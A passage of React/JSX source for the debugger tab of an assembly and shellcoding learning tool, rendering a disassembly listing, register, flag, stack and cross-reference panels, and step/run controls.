                {consoleOut.map((line, i) => (
                  <div key={i} style={{
                    color: line.type === "err" ? "#ff4757" : line.type === "ok" ? "#39ff14" : line.type === "warn" ? "#ffd866" : line.type === "cmd" ? a.color : "#8899aa",
                    marginBottom: 2,
                    fontWeight: line.type === "cmd" ? 600 : 400,
                  }}>
                    {line.text}
                  </div>
                ))}
              </div>
            </div>
          </div>
        )}

        {/* ═══════════ DEBUGGER TAB (Phase 2) ═══════════ */}
        {tab === "dbg" && (() => {
          const dbgInstrs = dbgParsed ? dbgParsed.filter(p => p.type === "instr") : [];
          const currentInstr = dbgCpu && dbgInstrs[dbgCpu.pc] ? dbgInstrs[dbgCpu.pc] : null;
          const archRegs = a.registers.slice(0, a.bits === 64 ? 18 : 10);
          const changedRegs = {};
          const changedFlags = {};
          if (dbgCpu && dbgPrevRegs) {
            archRegs.forEach(r => {
              if (dbgCpu.regs[r] !== dbgPrevRegs[r] && dbgPrevRegs[r] !== undefined) changedRegs[r] = true;
            });
          }
          if (dbgCpu) {
            Object.keys(dbgCpu.flags).forEach(f => {
              if (dbgCpu.flags[f] !== dbgPrevFlags[f]) changedFlags[f] = true;
            });
          }
          const progs = DBG_PROGRAMS[arch] || {};
          const progKeys = Object.keys(progs);
          const fmtHex = (v, bits) => {
            if (v === undefined || v === null) v = 0;
            return "0x" + ((v >>> 0).toString(16).toUpperCase().padStart(8, "0"));
          };
          const fmtBin = (v) => ((v >>> 0).toString(2).padStart(32, "0"));

          // Instruction category color coding (IDA-style)
          const instrColor = (op) => {
            if (!op) return "#8899aa";
            const flow = ["jmp","je","jz","jne","jnz","jg","jl","jge","jle","ja","jb","jae","jbe","js","jns","jnle","jnge","jnbe","jnae","call","ret","loop","b","bl","bx","beq","bne","bgt","blt","bge","ble","b.eq","b.ne","cbz","cbnz"];
            const data = ["mov","movl","movq","movabs","push","pop","lea","xchg","movzx","movsx","ldr","str","ldrb","strb","ldp","stp","ldm","stm","movz","movk","adr","adrp","cdqe","cqo"];
            const arith = ["add","sub","inc","dec","mul","imul","div","neg","addl","addq","subl","subq"];
            const logic = ["and","or","xor","not","shl","shr","sar","rol","ror","andl","orl","eor","orr","test","cmp","cmpl","testl","bsf","bsr","popcnt"];
            const sys = ["int","syscall","svc","nop"];
            if (flow.includes(op)) return "#ff6b35";
            if (data.includes(op)) return "#00d4ff";
            if (arith.includes(op)) return "#39ff14";
            if (logic.includes(op)) return "#c792ea";
            if (sys.includes(op)) return "#ffd866";
            return "#8899aa";
          };

          // Check if an operand contains the hovered register
          const operandHasReg = (operand, reg) => {
            if (!operand || !reg) return false;
            return cleanOp(operand) === reg.toLowerCase() || cleanOp(operand).includes(reg.toLowerCase());
          };

          return (
            <div style={{ display: "grid", gridTemplateColumns: "300px 1fr 320px", gap: 10, minHeight: 620 }}>

              {/* ── LEFT: Code Editor + Controls ── */}
              <div style={{ display: "flex", flexDirection: "column", gap: 6 }}>
                {/* Program selector */}
                <div style={{ display: "flex", gap: 3, flexWrap: "wrap" }}>
                  {progKeys.map(k => (
                    <button key={k} onClick={() => { setDbgCode(progs[k]); setDbgCpu(null); setDbgParsed(null); }} style={{
                      background: dbgCode === progs[k] ? a.color + "18" : "#0f1318",
                      border: `1px solid ${dbgCode === progs[k] ? a.color : "#1e2a3a"}`,
                      color: dbgCode === progs[k] ? a.color : "#6a7a8a",
                      padding: "3px 7px", borderRadius: 3, cursor: "pointer",
                      fontFamily: "'Fira Code', monospace", fontSize: 9,
                    }}>{k}</button>
                  ))}
                </div>

                {/* Editor */}
                <textarea
                  value={dbgCode}
                  onChange={e => { setDbgCode(e.target.value); setDbgCpu(null); setDbgParsed(null); }}
                  spellCheck={false}
                  placeholder={`; Enter ${a.name} assembly...\n; Click LOAD to parse`}
                  style={{
                    flex: 1, minHeight: 180, resize: "none",
                    background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                    padding: 10, color: "#c8d8e8",
                    fontFamily: "'Fira Code', monospace", fontSize: 11,
                    lineHeight: 1.7, outline: "none", caretColor: a.color,
                  }}
                />

                {/* Controls */}
                <div style={{ display: "flex", gap: 4, flexWrap: "wrap" }}>
                  <button onClick={() => dbgLoad()} style={{
                    background: "#39ff1418", border: "1px solid #39ff1444", color: "#39ff14",
                    padding: "6px 12px", borderRadius: 4, cursor: "pointer",
                    fontFamily: "'Barlow Condensed', sans-serif", fontSize: 12, fontWeight: 700, letterSpacing: 1,
                  }}>⟳ LOAD</button>
                  <button onClick={dbgStepPhase2} disabled={!dbgCpu || dbgCpu?.halted} style={{
                    background: a.color + "18", border: `1px solid ${a.color}44`, color: !dbgCpu || dbgCpu?.halted ? "#3a4a5a" : a.color,
                    padding: "6px 12px", borderRadius: 4, cursor: !dbgCpu || dbgCpu?.halted ? "default" : "pointer",
                    fontFamily: "'Barlow Condensed', sans-serif", fontSize: 12, fontWeight: 700, letterSpacing: 1,
                  }}>▶ STEP</button>
                  <button onClick={dbgRunning ? dbgPause : dbgRun} disabled={!dbgCpu || (dbgCpu?.halted && !dbgRunning)} style={{
                    background: dbgRunning ? "#ff475718" : "#ffd86618",
                    border: `1px solid ${dbgRunning ? "#ff475744" : "#ffd86644"}`,
                    color: !dbgCpu || dbgCpu?.halted ? "#3a4a5a" : dbgRunning ? "#ff4757" : "#ffd866",
                    padding: "6px 12px", borderRadius: 4, cursor: !dbgCpu || dbgCpu?.halted ? "default" : "pointer",
                    fontFamily: "'Barlow Condensed', sans-serif", fontSize: 12, fontWeight: 700, letterSpacing: 1,
                  }}>{dbgRunning ? "⏸ PAUSE" : "⏩ RUN"}</button>
                  <button onClick={dbgUndo} disabled={!dbgCpu?.history?.length} style={{
                    background: "#0f1318", border: "1px solid #1e2a3a",
                    color: !dbgCpu?.history?.length ? "#3a4a5a" : "#c792ea",
                    padding: "6px 10px", borderRadius: 4, cursor: !dbgCpu?.history?.length ? "default" : "pointer",
                    fontFamily: "'Barlow Condensed', sans-serif", fontSize: 12, fontWeight: 600,
                  }}>↩</button>
                  <button onClick={dbgReset} disabled={!dbgCpu} style={{
                    background: "#0f1318", border: "1px solid #1e2a3a",
                    color: !dbgCpu ? "#3a4a5a" : "#ff6b35",
                    padding: "6px 10px", borderRadius: 4, cursor: !dbgCpu ? "default" : "pointer",
                    fontFamily: "'Barlow Condensed', sans-serif", fontSize: 12, fontWeight: 600,
                  }}>⟲</button>
                </div>

                {/* Speed + View toggles */}
                <div style={{ display: "flex", alignItems: "center", gap: 6, flexWrap: "wrap" }}>
                  <span style={{ fontFamily: "monospace", fontSize: 9, color: "#5a7a95" }}>SPD:</span>
                  {[1000, 500, 200, 50].map(ms => (
                    <button key={ms} onClick={() => setDbgSpeed(ms)} style={{
                      background: dbgSpeed === ms ? a.color + "18" : "transparent",
                      border: `1px solid ${dbgSpeed === ms ? a.color : "#1e2a3a"}`,
                      color: dbgSpeed === ms ? a.color : "#5a7a95",
                      padding: "1px 6px", borderRadius: 3, cursor: "pointer",
                      fontFamily: "monospace", fontSize: 8,
                    }}>{ms < 100 ? "⚡" : ms < 300 ? "▶▶" : ms < 600 ? "▶" : "⏸▶"}</button>
                  ))}
                  <div style={{ marginLeft: "auto", display: "flex", gap: 4 }}>
                    <button onClick={() => setDbgShowBytes(!dbgShowBytes)} style={{
                      background: dbgShowBytes ? "#ffd86610" : "transparent",
                      border: `1px solid ${dbgShowBytes ? "#ffd86633" : "#1e2a3a"}`,
                      color: dbgShowBytes ? "#ffd866" : "#3a4a5a",
                      padding: "1px 6px", borderRadius: 3, cursor: "pointer",
                      fontFamily: "monospace", fontSize: 8,
                    }}>BYTES</button>
                    <button onClick={() => setDbgShowXrefs(!dbgShowXrefs)} style={{
                      background: dbgShowXrefs ? "#c792ea10" : "transparent",
                      border: `1px solid ${dbgShowXrefs ? "#c792ea33" : "#1e2a3a"}`,
                      color: dbgShowXrefs ? "#c792ea" : "#3a4a5a",
                      padding: "1px 6px", borderRadius: 3, cursor: "pointer",
                      fontFamily: "monospace", fontSize: 8,
                    }}>XREF</button>
                  </div>
                </div>

                {/* Step counter */}
                <div style={{ fontFamily: "monospace", fontSize: 10, color: "#5a7a95", display: "flex", justifyContent: "space-between" }}>
                  <span>Steps: <span style={{ color: a.color }}>{dbgStepCount}</span></span>
                  <span>PC: <span style={{ color: a.color }}>{dbgCpu ? fmtHex(dbgCpu.regs[a.special.ip.replace(/ .*/,"")], a.bits) : "—"}</span></span>
                </div>

                {/* Output */}
                <div style={{
                  background: "#050709", border: "1px solid #1a2030", borderRadius: 6,
                  padding: 6, minHeight: 60, maxHeight: 120, overflowY: "auto",
                  fontFamily: "'Fira Code', monospace", fontSize: 10,
                }}>
                  <div style={{ color: "#3a4a5a", marginBottom: 2, fontSize: 9 }}>── OUTPUT ──</div>
                  {dbgCpu?.output?.map((line, i) => (
                    <div key={i} style={{
                      color: line.type === "err" ? "#ff4757" : line.type === "ok" ? "#39ff14" : line.type === "sys" ? "#c792ea" : line.type === "warn" ? "#ffd866" : "#8899aa",
                    }}>{line.text}</div>
                  ))}
                  {(!dbgCpu?.output?.length) && <div style={{ color: "#2a3a4a" }}>No output yet</div>}
                </div>
              </div>

              {/* ── CENTER: Ghidra-style Disassembly Listing ── */}
              <div style={{
                background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                overflow: "hidden", display: "flex", flexDirection: "column",
              }}>
                {/* Column headers */}
                <div style={{
                  display: "grid",
                  gridTemplateColumns: dbgShowBytes ? "78px 90px 24px 80px 1fr" : "78px 24px 80px 1fr",
                  padding: "5px 8px", background: "#0c1018",
                  borderBottom: "1px solid #1a2030",
                  fontFamily: "'Fira Code', monospace", fontSize: 8, color: "#4a5a6a",
                  letterSpacing: 1,
                }}>
                  <span>ADDRESS</span>
                  {dbgShowBytes && <span>BYTES</span>}
                  <span></span>
                  <span>MNEMONIC</span>
                  <span>OPERANDS</span>
                </div>

                {/* Instruction listing */}
                <div style={{ flex: 1, overflowY: "auto", padding: "1px 0" }}>
                  {!dbgParsed && (
                    <div style={{ padding: 20, textAlign: "center", color: "#3a4a5a", fontFamily: "monospace", fontSize: 11 }}>
                      Load assembly to start debugging
                    </div>
                  )}
                  {dbgParsed?.map((p, i) => {
                    if (p.type === "label") {
                      return (
                        <div key={i} style={{
                          padding: "4px 8px", fontFamily: "'Fira Code', monospace", fontSize: 11,
                          color: "#ffd866", fontWeight: 700, background: "#ffd86606",
                          borderLeft: "3px solid #ffd866",
                          display: "flex", alignItems: "center", gap: 8,
                        }}>
                          <span style={{ color: "#5a7a95", fontSize: 9 }}>────</span>
                          {p.name}:
                          {/* Xref count for labels */}
                          {(() => {
                            const refs = dbgParsed.filter(pp => pp.type === "instr" && pp.operands?.some(o => cleanOp(o) === p.name));
                            return refs.length > 0 ? (
                              <span style={{ fontSize: 8, color: "#c792ea", marginLeft: 8, fontWeight: 400 }}>
                                ; XREF[{refs.length}]: {refs.map(r => r.op).join(", ")}
                              </span>
                            ) : null;
                          })()}
                        </div>
                      );
                    }
                    if (p.type === "meta") {
                      return (
                        <div key={i} style={{
                          padding: "1px 8px", fontFamily: "'Fira Code', monospace", fontSize: 10,
                          color: "#2a3a4a", fontStyle: "italic", borderLeft: "3px solid transparent",
                        }}>
                          {p.raw.trim()}
                        </div>
                      );
                    }
                    if (p.type !== "instr") return null;

                    const instrIdx = dbgParsed.filter((pp, ii) => pp.type === "instr" && ii <= i).length - 1;
                    const isCurrent = dbgCpu && instrIdx === dbgCpu.pc && !dbgCpu.halted;
                    const isPast = dbgCpu && instrIdx < dbgCpu.pc;
                    const addr = CODE_BASE + instrIdx * 4;
                    const opcBytes = dbgShowBytes ? estimateOpcodeBytes(p, arch) : "";
                    const hasNull = opcBytes.split(" ").some(b => b === "00");
                    const isXrefWrite = dbgShowXrefs && dbgHoverReg && dbgXrefs.writes.includes(instrIdx);
                    const isXrefRead = dbgShowXrefs && dbgHoverReg && dbgXrefs.reads.includes(instrIdx);
                    const isXref = isXrefWrite || isXrefRead;
                    const opColor = instrColor(p.op);

                    return (
                      <div key={i} style={{
                        display: "grid",
                        gridTemplateColumns: dbgShowBytes ? "78px 90px 24px 80px 1fr" : "78px 24px 80px 1fr",
                        padding: "3px 8px",
                        background: isCurrent ? a.color + "12" : isXref ? (isXrefWrite ? "#ff6b3508" : "#c792ea08") : isPast ? "#0a0e1450" : "transparent",
                        borderLeft: isCurrent ? `3px solid ${a.color}` : isXrefWrite ? "3px solid #ff6b35" : isXrefRead ? "3px solid #c792ea" : "3px solid transparent",
                        fontFamily: "'Fira Code', monospace", fontSize: 11,
                        transition: "background 0.12s",
                        opacity: isPast && !isXref ? 0.45 : 1,
                        position: "relative",
                      }}>
                        {/* Address */}
                        <span style={{ color: "#4a5a6a", fontSize: 10 }}>
                          {(addr).toString(16).padStart(8, "0")}
                        </span>
                        {/* Opcode bytes */}
                        {dbgShowBytes && (
                          <span style={{ fontSize: 9, letterSpacing: 0.5 }}>
                            {opcBytes.split(" ").map((b, bi) => (
                              <span key={bi} style={{
                                color: b === "00" ? "#ff4757" : b === "xx" || b === ".." ? "#3a4a5a" : "#5a6a7a",
                                fontWeight: b === "00" ? 700 : 400,
                                marginRight: 2,
                              }}>{b}</span>
                            ))}
                          </span>
                        )}
                        {/* PC arrow */}
                        <span style={{ color: isCurrent ? a.color : "transparent", fontWeight: 900, fontSize: 12 }}>
                          {isCurrent ? "►" : ""}
                        </span>
                        {/* Mnemonic (color-coded by category) */}
                        <span style={{
                          color: isCurrent ? "#e8f4ff" : opColor,
                          fontWeight: isCurrent ? 700 : 600,
                        }}>
                          {p.op}
                        </span>
                        {/* Operands with register highlighting */}
                        <span style={{ display: "flex", gap: 0 }}>
                          {(p.operands || []).map((operand, oi) => {
                            const isRegOperand = isReg(cleanOp(operand), arch);
                            const isHovered = dbgHoverReg && operandHasReg(operand, dbgHoverReg);
                            const isImm = !isRegOperand && !isNaN(parseImm(cleanOp(operand)));
                            return (
                              <span key={oi}>
                                {oi > 0 && <span style={{ color: "#3a4a5a" }}>, </span>}
                                <span
                                  onMouseEnter={() => isRegOperand && dbgShowXrefs && setDbgHoverReg(cleanOp(operand))}
                                  onMouseLeave={() => setDbgHoverReg(null)}
                                  style={{
                                    color: isHovered ? "#ffd866" : isCurrent && isRegOperand ? a.color : isRegOperand ? "#8899aa" : isImm ? "#39ff14" : "#6a7a8a",
                                    fontWeight: isHovered ? 700 : 400,
                                    background: isHovered ? "#ffd86615" : "transparent",
                                    padding: isHovered ? "0 3px" : 0,
                                    borderRadius: 2,
                                    cursor: isRegOperand && dbgShowXrefs ? "pointer" : "default",
                                    textDecoration: isHovered ? "underline" : "none",
                                    transition: "all 0.1s",
                                  }}
                                >{operand}</span>
                              </span>
                            );
                          })}
                          {/* Inline xref annotations */}
                          {isXref && (
                            <span style={{ marginLeft: 8, fontSize: 8, color: isXrefWrite ? "#ff6b35" : "#c792ea", fontWeight: 400 }}>
                              ; {isXrefWrite ? "◄ WRITE" : "► READ"} {dbgHoverReg?.toUpperCase()}
                            </span>
                          )}
                        </span>
                      </div>
                    );
                  })}
                  {dbgCpu?.halted && (
                    <div style={{
                      padding: "8px 10px", textAlign: "center",
                      fontFamily: "'Fira Code', monospace", fontSize: 11,
                      color: "#39ff14", background: "#39ff1406",
                      borderTop: "1px solid #39ff1418",
                    }}>
                      ■ HALTED — {dbgStepCount} instructions executed
                    </div>
                  )}
                </div>

                {/* Current instruction detail bar (IDA bottom bar style) */}
                <div style={{
                  padding: "6px 10px", background: "#0a0e14",
                  borderTop: "1px solid #1a2030",
                  fontFamily: "'Fira Code', monospace", fontSize: 10,
                  display: "flex", gap: 16, alignItems: "center", flexWrap: "wrap",
                  minHeight: 28,
                }}>
                  {currentInstr && !dbgCpu?.halted ? (<>
                    <span>
                      <span style={{ color: "#4a5a6a" }}>ADDR: </span>
                      <span style={{ color: a.color }}>{(CODE_BASE + dbgCpu.pc * 4).toString(16).padStart(8, "0")}</span>
                    </span>
                    <span>
                      <span style={{ color: "#4a5a6a" }}>OP: </span>
                      <span style={{ color: instrColor(currentInstr.op), fontWeight: 700 }}>{currentInstr.op}</span>
                      <span style={{ color: "#c8d8e8" }}> {currentInstr.operands?.join(", ")}</span>
                    </span>
                    {dbgShowBytes && (
                      <span>
                        <span style={{ color: "#4a5a6a" }}>ENC: </span>
                        <span style={{ color: "#6a7a8a" }}>{estimateOpcodeBytes(currentInstr, arch)}</span>
                      </span>
                    )}
                    {(() => {
                      const cats = Object.values(a.instructions || {});
                      for (const cat of cats) {
                        for (const ins of cat) {
                          if (ins.op.split("/")[0] === currentInstr.op || ins.op.includes(currentInstr.op)) {
                            return <span style={{ color: "#5a7a95" }}>— {ins.desc}</span>;
                          }
                        }
                      }
                      return null;
                    })()}
                  </>) : (
                    <span style={{ color: "#3a4a5a" }}>{dbgCpu?.halted ? "Program halted" : "Load and step to begin"}</span>
                  )}
                </div>
              </div>

              {/* ── RIGHT: Registers + Flags + Stack + Xrefs ── */}
              <div style={{ display: "flex", flexDirection: "column", gap: 6 }}>
                {/* Registers */}
                <div style={{
                  background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                  padding: 8,
                }}>
                  <div style={{
                    fontFamily: "'Share Tech Mono', monospace", fontSize: 9,
                    color: a.color, letterSpacing: 2, marginBottom: 4,
                    borderBottom: `1px solid ${a.color}22`, paddingBottom: 3,
                    display: "flex", justifyContent: "space-between",
                  }}>
                    <span>REGISTERS</span>
                    <span style={{ color: "#3a4a5a", letterSpacing: 0 }}>hover for xrefs</span>
                  </div>
                  <div style={{ display: "flex", flexDirection: "column", gap: 1 }}>
                    {archRegs.map(r => {
                      const val = dbgCpu?.regs?.[r] ?? 0;
                      const changed = changedRegs[r];
                      const isSpecial = Object.values(a.special).some(s => s.includes(r));
                      const isHovered = dbgHoverReg === r;
                      return (
                        <div key={r}
                          onMouseEnter={() => dbgShowXrefs && setDbgHoverReg(r)}
                          onMouseLeave={() => setDbgHoverReg(null)}
                          style={{
                            display: "grid", gridTemplateColumns: "44px 1fr 50px", alignItems: "center", gap: 4,
                            padding: "3px 6px", borderRadius: 3,
                            background: isHovered ? "#ffd86612" : changed ? a.color + "10" : "transparent",
                            border: isHovered ? "1px solid #ffd86633" : changed ? `1px solid ${a.color}25` : "1px solid transparent",
                            cursor: dbgShowXrefs ? "pointer" : "default",
                            transition: "all 0.15s",
                          }}>
                          <span style={{
                            fontFamily: "'Fira Code', monospace", fontSize: 11,
                            color: isHovered ? "#ffd866" : isSpecial ? "#ff6b35" : a.color,
                            fontWeight: 700,
                          }}>{r.toUpperCase()}</span>
                          <span style={{
                            fontFamily: "'Fira Code', monospace", fontSize: 10,
                            color: changed ? "#ffd866" : "#6a7a8a",
                            fontWeight: changed ? 700 : 400,
                            transition: "color 0.2s",
                          }}>
                            {fmtHex(val, a.bits)}
                          </span>
                          {/* Decimal value for small numbers */}
                          <span style={{
                            fontFamily: "'Fira Code', monospace", fontSize: 9,
                            color: "#3a4a5a", textAlign: "right",
                          }}>
                            {val <= 0xFFFF && val > 0 ? `(${val})` : ""}
                          </span>
                        </div>
                      );
                    })}
                  </div>
                </div>

                {/* Flags (enhanced with change indicators + bit explanation) */}
                <div style={{
                  background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                  padding: 8,
                }}>
                  <div style={{
                    fontFamily: "'Share Tech Mono', monospace", fontSize: 9,
                    color: "#ffd866", letterSpacing: 2, marginBottom: 4,
                    borderBottom: "1px solid #ffd86618", paddingBottom: 3,
                  }}>FLAGS (EFLAGS/RFLAGS)</div>
                  <div style={{ display: "grid", gridTemplateColumns: "1fr 1fr", gap: 4 }}>
                    {Object.entries(dbgCpu?.flags || { ZF: 0, CF: 0, SF: 0, OF: 0 }).map(([flag, val]) => {
                      const changed = changedFlags[flag];
                      const flagDesc = { ZF: "Zero — result was 0", CF: "Carry — unsigned overflow", SF: "Sign — result is negative", OF: "Overflow — signed overflow" };
                      return (
                        <div key={flag} style={{
                          display: "flex", alignItems: "center", gap: 6,
                          padding: "4px 8px", borderRadius: 4,
                          background: val ? "#39ff140d" : "#0f1318",
                          border: `1px solid ${changed ? "#ffd86644" : val ? "#39ff1422" : "#141c28"}`,
                          transition: "all 0.2s",
                        }}>
                          <span style={{
                            width: 10, height: 10, borderRadius: "50%",
                            background: val ? "#39ff14" : "#1a2530",
                            boxShadow: val ? "0 0 8px #39ff1455" : "none",
                            transition: "all 0.2s",
                            flexShrink: 0,
                          }} />
                          <div>
                            <div style={{
                              fontFamily: "'Fira Code', monospace", fontSize: 11,
                              color: val ? "#39ff14" : "#5a7a95", fontWeight: 700,
                            }}>
                              {flag}={val}
                              {changed && <span style={{ color: "#ffd866", fontSize: 8, marginLeft: 4 }}>★</span>}
                            </div>
                            <div style={{ fontFamily: "'Barlow Condensed', sans-serif", fontSize: 9, color: "#3a4a5a", lineHeight: 1.2 }}>
                              {flagDesc[flag]}
                            </div>
                          </div>
                        </div>
                      );
                    })}
                  </div>
                </div>

                {/* Cross-references panel (IDA Xrefs window) */}
                {dbgShowXrefs && dbgHoverReg && (
                  <div style={{
                    background: "#0d0812", border: "1px solid #c792ea22", borderRadius: 6,
                    padding: 8,
                  }}>
                    <div style={{
                      fontFamily: "'Share Tech Mono', monospace", fontSize: 9,
                      color: "#c792ea", letterSpacing: 2, marginBottom: 4,
                      borderBottom: "1px solid #c792ea18", paddingBottom: 3,
                    }}>
                      XREFS — {dbgHoverReg.toUpperCase()}
                    </div>
                    {dbgXrefs.writes.length > 0 && (
                      <div style={{ marginBottom: 4 }}>
                        <div style={{ fontFamily: "monospace", fontSize: 8, color: "#ff6b35", marginBottom: 2 }}>◄ WRITES ({dbgXrefs.writes.length}):</div>
                        {dbgXrefs.writes.slice(0, 6).map(idx => {
                          const instr = dbgInstrs[idx];
                          return instr ? (
                            <div key={idx} style={{ fontFamily: "'Fira Code', monospace", fontSize: 9, color: "#8899aa", paddingLeft: 8 }}>
                              {(CODE_BASE + idx * 4).toString(16).padStart(8,"0")}: <span style={{ color: instrColor(instr.op) }}>{instr.op}</span> {instr.operands?.join(", ")}
                            </div>
                          ) : null;
                        })}
                      </div>
                    )}
                    {dbgXrefs.reads.length > 0 && (
                      <div>
                        <div style={{ fontFamily: "monospace", fontSize: 8, color: "#c792ea", marginBottom: 2 }}>► READS ({dbgXrefs.reads.length}):</div>
                        {dbgXrefs.reads.slice(0, 6).map(idx => {
                          const instr = dbgInstrs[idx];
                          return instr ? (
                            <div key={idx} style={{ fontFamily: "'Fira Code', monospace", fontSize: 9, color: "#8899aa", paddingLeft: 8 }}>
                              {(CODE_BASE + idx * 4).toString(16).padStart(8,"0")}: <span style={{ color: instrColor(instr.op) }}>{instr.op}</span> {instr.operands?.join(", ")}
                            </div>
                          ) : null;
                        })}
                      </div>
                    )}
                    {dbgXrefs.writes.length === 0 && dbgXrefs.reads.length === 0 && (
                      <div style={{ fontFamily: "monospace", fontSize: 9, color: "#3a4a5a" }}>No references found</div>
                    )}
                  </div>
                )}

                {/* Stack */}
                <div style={{
                  background: "#080a0e", border: "1px solid #1a2030", borderRadius: 6,
                  padding: 8, flex: 1, maxHeight: 180, overflowY: "auto",
                }}>
                  <div style={{
                    fontFamily: "'Share Tech Mono', monospace", fontSize: 9,
                    color: "#ff6b35", letterSpacing: 2, marginBottom: 4,
                    borderBottom: "1px solid #ff6b3518", paddingBottom: 3,
                  }}>STACK ({dbgCpu?.stack?.length || 0})</div>
                  {(!dbgCpu?.stack?.length) && (
                    <div style={{ fontFamily: "monospace", fontSize: 10, color: "#2a3a4a" }}>Empty</div>
                  )}
                  {dbgCpu?.stack?.map((entry, i) => (
                    <div key={i} style={{
                      display: "grid", gridTemplateColumns: "1fr 1fr", gap: 4,
                      padding: "2px 6px", borderRadius: 2,
                      background: i === 0 ? "#ff6b3508" : "transparent",
                      borderLeft: i === 0 ? "2px solid #ff6b35" : "2px solid transparent",
                      fontFamily: "'Fira Code', monospace", fontSize: 10,
                    }}>
                      <span style={{ color: "#4a5a6a" }}>
                        {fmtHex(entry.addr, a.bits)}
                      </span>
                      <span style={{ color: i === 0 ? "#ff6b35" : "#6a7a8a", fontWeight: i === 0 ? 700 : 400, textAlign: "right" }}>
                        {fmtHex(entry.value, a.bits)}
                      </span>
                    </div>
                  ))}
                </div>
              </div>
            </div>
          );
        })()}

        {/* ═══ FOOTER ═══ */}
        <footer style={{
          marginTop: 40, padding: "16px 0", borderTop: "1px solid #141c28",
          display: "flex", justifyContent: "space-between", alignItems: "center",
          fontFamily: "monospace", fontSize: 10, color: "#3a4a5a",
          letterSpacing: 1, marginBottom: 20,
        }}>
          <span>SHELL//LAB v4.2 — ASSEMBLY &amp; SHELLCODING PLATFORM</span>
          <span>KULPRIT STUDIOS LLC © 2026</span>
          <span>{a.name} · {a.bits}-BIT · {a.endian.toUpperCase()} ENDIAN</span>
        </footer>
      </div>
    </div>
  );
}

window.ShellLab = function ShellLab() {
  return (
    <ShellLabErrorBoundary>
      <div style={{ minWidth: 900, overflowX: "auto" }}>
        <ShellLabInner />
      </div>
    </ShellLabErrorBoundary>
  );
}
